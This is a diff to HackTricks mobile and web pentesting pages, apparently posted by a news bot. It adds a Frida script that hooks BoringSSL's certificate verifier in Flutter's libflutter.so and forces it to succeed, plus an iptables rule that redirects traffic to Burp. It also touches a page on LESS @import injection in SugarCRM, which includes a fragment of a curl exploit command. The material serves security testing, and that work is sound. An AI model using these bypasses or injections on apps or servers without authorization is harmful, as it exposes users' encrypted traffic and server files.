Add content from: Flutter SSL Bypass: How to Intercept HTTPS Traffic When all ...

Author: HackTricks News Bot

src/mobile-pentesting/android-app-pentesting/flutter.md

@@ -2,7 +2,6 @@
 
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-# Flutter
 Flutter is **Google’s cross-platform UI toolkit** that lets developers write a single Dart code-base which the **Engine** (native C/C++) turns into platform-specific machine code for Android & iOS.  
 The Engine bundles a **Dart VM**, **BoringSSL**, Skia, etc., and ships as the shared library **libflutter.so** (Android) or **Flutter.framework** (iOS). All actual networking (DNS, sockets, TLS) happens **inside this library**, *not* in the usual Java/Kotlin Swift/Obj-C layers. That siloed design is why the usual Java-level Frida hooks fail on Flutter apps.
 
@@ -20,7 +19,7 @@ Knowing the version lets you re-build or pattern-match the right binaries.
 
 Step | Command / File | Outcome
 ----|----|----
-Get snapshot hash | ```bash\npython3 get_snapshot_hash.py libapp.so\n``` | `adb4292f3ec25…`
+Get snapshot hash | `python3 get_snapshot_hash.py libapp.so` | `adb4292f3ec25…`
 Map hash → Engine | **enginehash** list in reFlutter | Flutter 3 · 7 · 12 + engine commit `1a65d409…`
 Pull dependent commits | DEPS file in that engine commit | • `dart_revision` → Dart v2 · 19 · 6<br>• `dart_boringssl_rev` → BoringSSL `87f316d7…`
 
@@ -75,9 +74,46 @@ Flutter itself **ignores device proxy settings**. Easiest options:
 * **Android Studio emulator:** Settings ▶ Proxy → manual.  
 * **Physical device:** evil Wi-Fi AP + DNS spoofing, or Magisk module editing `/etc/hosts`.
 
+### Offset-based hook of BoringSSL verification (no signature scan)
+When pattern-based scripts fail across architectures (e.g., x86_64 vs ARM), directly hook the BoringSSL chain verifier by absolute address within libflutter.so. Workflow:
+
+- Extract the right-ABI library from the APK: `unzip -j app.apk "lib/*/libflutter.so" -d libs/` and pick the one matching the device (e.g., `lib/x86_64/libflutter.so`).
+- Analyze in Ghidra/IDA and locate the verifier:
+  - Source: BoringSSL ssl_x509.cc function `ssl_crypto_x509_session_verify_cert_chain` (3 args, returns bool).
+  - In stripped builds, search for the string `"ssl_client"` and inspect XREFs; identify the function taking three pointer-like args and returning a boolean.
+- Compute the runtime offset: take the function address shown by Ghidra and subtract the image base used during analysis to get the relative offset (RVA). Example: `0x02184644 - 0x00100000 = 0x02084644`.
+- Hook at runtime by base + offset and force success:
+
+```javascript
+// frida -U -f com.target.app -l bypass.js --no-pause
+const base = Module.findBaseAddress('libflutter.so');
+// Example offset from analysis. Recompute per build/arch.
+const off  = ptr('0x02084644');
+const addr = base.add(off);
+
+// ssl_crypto_x509_session_verify_cert_chain: 3 args, bool return
+Interceptor.replace(addr, new NativeCallback(function (a, b, c) {
+  return 1; // true
+}, 'int', ['pointer', 'pointer', 'pointer']));
+
+console.log('[+] Hooked BoringSSL verify_cert_chain at', addr);
+```
+
+Notes
+- Recompute the offset for every target build and CPU architecture; compiler/codegen differences break hardcoded signatures.
+- This bypass causes BoringSSL to accept any chain, enabling HTTPS MITM regardless of pins/CA trust inside Flutter.
+- If you force-route traffic during debugging to confirm TLS blocking, e.g.:
+
+```bash
+iptables -t nat -A OUTPUT -p tcp -j DNAT --to-destination <Burp_IP>:<Burp_Port>
+```
+
+…you will still need the hook above, since verification happens inside libflutter.so, not Android’s system trust store.
 
 ## References
 - [https://sensepost.com/blog/2025/intercepting-https-communication-in-flutter-going-full-hardcore-mode-with-frida/](https://sensepost.com/blog/2025/intercepting-https-communication-in-flutter-going-full-hardcore-mode-with-frida/)
+- [Flutter SSL Bypass: How to Intercept HTTPS Traffic When all other Frida Scripts Fail](https://m4kr0x.medium.com/flutter-tls-bypass-how-to-intercept-https-traffic-when-all-other-frida-scripts-fail-bd3d04489088)
+- [BoringSSL ssl_x509.cc (ssl_crypto_x509_session_verify_cert_chain)](https://github.com/google/boringssl/blob/main/ssl/ssl_x509.cc#L238)
 
 
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src/pentesting-web/xs-search/css-injection/less-code-injection.md

@@ -1,4 +1,6 @@
-## LESS Code Injection leading to SSRF & Local File Read
+# LESS Code Injection leading to SSRF & Local File Read
+
+{{#include ../../../banners/hacktricks-training.md}}
 
 LESS is a popular CSS pre-processor that adds variables, mixins, functions and the powerful `@import` directive.  During compilation the LESS engine will **fetch the resources referenced in `@import`** statements and embed ("inline") their contents into the resulting CSS when the `(inline)` option is used.
 
@@ -59,4 +61,5 @@ curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
 
 * [SugarCRM ≤ 14.0.0 (css/preview) LESS Code Injection Vulnerability](https://karmainsecurity.com/KIS-2025-04)
 * [SugarCRM Security Advisory SA-2024-059](https://support.sugarcrm.com/resources/security/sugarcrm-sa-2024-059/)
-* [CVE-2024-58258](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58258)
+* [CVE-2024-58258](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58258)
+{{#include ../../../banners/hacktricks-training.md}}